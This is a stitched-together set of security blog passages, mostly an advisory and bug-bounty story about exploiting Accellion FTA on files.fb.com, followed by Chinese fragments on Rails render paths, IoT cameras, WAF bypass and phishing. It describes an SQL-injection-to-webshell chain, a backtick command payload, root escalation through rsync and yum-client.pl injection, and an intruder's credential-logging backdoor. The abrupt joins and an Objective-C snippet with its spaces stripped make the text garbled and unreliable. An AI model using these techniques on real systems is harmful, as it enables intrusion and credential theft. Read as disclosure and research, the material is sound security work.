The following lines are the most important function client_properties( $client_id ).
The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.
In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!
PoC
The created PHP file will be located at
http://<fta>/courier/themes/templates/.cc.php
Known-Secret-Key leads to Remote Code Execution
In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.
The precondition of this vulnerability is Known-Secret-Key stored in the database
This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!
/home/seos/courier/sfUtils.api
If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude () in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.
Execute system commands directly by using backticks (`)
user_profile_auth(`$_POST[cmd]`);
A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.
1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.
2. Command Injection in “yum-client.pl”
To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.
/etc/sudoers
YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:
/usr/local/bin/yum-client.pl
After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.
Thus, using the commands below
will grant execution freely as root!
Backdoor
After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.
One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in
The other is WSO, found on 9 of the online hosts globally, placed in
https://<fta>/courier/themes/templates/imag.php
Acknowledgement
The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.
Timeline
Feb 6, 2016 05:21 Contact Accellion for vulnerability report
Feb 7, 2016 12:35 Send the report to Accellion Support Team
Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
Jun 6, 2016 10:20 Advisory finalized by mutual consent
As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <( ̄︶ ̄)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.
From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:
What can I find by Google Hacking?
How many B Class IP addresses are used? How many C Class IPs?
Whois? Reverse Whois?
What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
What are their preferred techniques and equipment vendors?
Any data breach on Github or Pastebin?
…etc
Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.
Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.
For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P
For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:
tfbnw.net
TFBNW seemed to stand for “TheFacebook Network”
Then I found bellow server through public data
vpn.tfbnw.net
WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.
It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:
Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM
From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.
Vulnerability Discovery
I found a special server among these C Class IPs.
files.fb.com
↑ Login Interface of files.fb.com
Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)
FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.
Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory
Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!
Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!
The FTA Product
Web-based user interfaces were mainly composed of Perl & PHP
The PHP source codes were encrypted by IonCube
Lots of Perl Daemons in the background
First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…
After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!
Finally, I found 7 vulnerabilities, including
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
More details will be published after full disclosure policy!
↑ Using Pre-Auth SQL Injection to Write Webshell
After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P
There are some restrictions on the server:
Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
Remote Syslog server
Auditd logs enabled
Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.
Was There Something Strange?
While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.
First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log”
These error messages seemed to be caused by modifying codes online?
↑ PHP error log
I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.
The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”
In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.
A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while
From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)
And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login
Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
All Facebook employees (@fb.com) used LDAP and authenticated by AD Server
I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…
In addition, this hacker might be careless:P
The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen
From access.log, every few days the hacker will clear all the credentials he logged
Packing files
Enumerating internal network architecture
Use ShellScript to scan internal network but forgot to redirect STDERR XD
Attempt to connect internal LDAP server
Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)
Attempt to steal SSL Private Key
After checking the browser, the SSL certificate of files.fb.com was *.fb.com …
Epilogue
After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD
Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September
the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.
Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P
Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )
Timeline
2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
2016/02/05 20:08 Receive automatic response
2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
2016/02/06 07:42 Receive response from Thomas that inspection is in progress
2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
2016/02/13 Asking if there anything I should pay special attention to in blog post ?
2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
2016/04/20 Receive response from Reginaldo about the forensics investigation is done
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.
OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。
基本細節
一個動態樣板路徑的寫法如下:
而 index 的樣板內容是這樣:
另外建一個 demo 樣板做示意:
實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。
這是一個非常經典的案例!一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面,再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司,理當為客戶的監控畫面做最周全的規劃、最謹慎的防護,但是結果呢?報告各位,完全沒有任何防護!只要連到 IP 位址就可以直接看到攝影機畫面,也是屬於裸奔一族…
在物連網的時代中,各種可進行無線通訊的設備被攻擊的事件屢見不鮮,例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器,2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器,甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來,這些資安問題只會更多,身為民眾、企業、廠商的你,準備好面對萬物皆可駭的物連網時代了嗎?
對於這樣海量收集資料衍生的資安議題,我們認為最大的受害者,是物聯網的使用者!就我們的觀察,物聯網的設備通常安全防護不佳,容易遭受到駭客攻擊,前陣子 HP 也出了一份報告指出,物聯網的設備有七成存在弱點,而且每台設備平均有 25 個弱點。除此之外,物聯網的設備不易更新,少有人會定期更新,更導致物聯網設備可以被大範圍的攻擊,進而滲透家用網路,危害使用者居家隱私。這是個未來需要持續關注的重要議題。
-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge*)challenge{if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]){do{SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust];if(nil==serverTrust)break;/* failed */OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);if(!(errSecSuccess==status))break;/* failed */SecCertificateRefserverCertificate=SecTrustGetCertificateAtIndex(serverTrust,0);if(nil==serverCertificate)break;/* failed */CFDataRefserverCertificateData=SecCertificateCopyData(serverCertificate);[(id)serverCertificateDataautorelease];if(nil==serverCertificateData)break;/* failed */constUInt8*constdata=CFDataGetBytePtr(serverCertificateData);constCFIndexsize=CFDataGetLength(serverCertificateData);NSData*cert1=[NSDatadataWithBytes:datalength:(NSUInteger)size];NSString*file=[[NSBundlemainBundle]pathForResource:@"random-org"ofType:@"der"];NSData*cert2=[NSDatadataWithContentsOfFile:file];if(nil==cert1||nil==cert2)break;/* failed */constBOOLequal=[cert1isEqualToData:cert2];if(!equal)break;/* failed */// The only good exit pointreturn[[challengesender]useCredential:[NSURLCredentialcredentialForTrust:serverTrust]forAuthenticationChallenge:challenge];}while(0);}// Bad dogreturn[[challengesender]cancelAuthenticationChallenge:challenge];}
在這種架構下的 WAF 看似對後端的伺服器多了一份保障,但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下,無法得知來自 Client 端的來源 IP,相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR),在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀:如何正確的取得使用者 IP?。
以下圖為例,網站本身只允許 192.168.x.x 的網段連線,如果今天 Client IP 是 1.1.1.1,將無法存取該網站。
如果建置了 WAF,有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR),才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下,WAF 反而成為駭客繞過 Private IP 限制的跳板,就如同為駭客開了一個後門。因此在使用資安設備時,必須瞭解其架構。別讓資安設備、安全機制,反而使得伺服器更不安全。
再回頭來以這封信為例,最大的破綻除了非制式的內文之外,就屬署名了。明明是假造「Apple Customer Support」的來信,最下面卻簽署「Microsoft Privacy and cookies Developers」,有沒有搞錯?可以再用點心嗎?
連結
最後的重點就是信件中的釣魚連結了,通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面,騙你輸入帳號密碼登入來竊取。在點選超連結之前,一定要先看一下這個連結前往的位置是不是官方的位置,例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱,例如使用「App1e.com」來偽裝成「Apple.com」,也是非常常見的。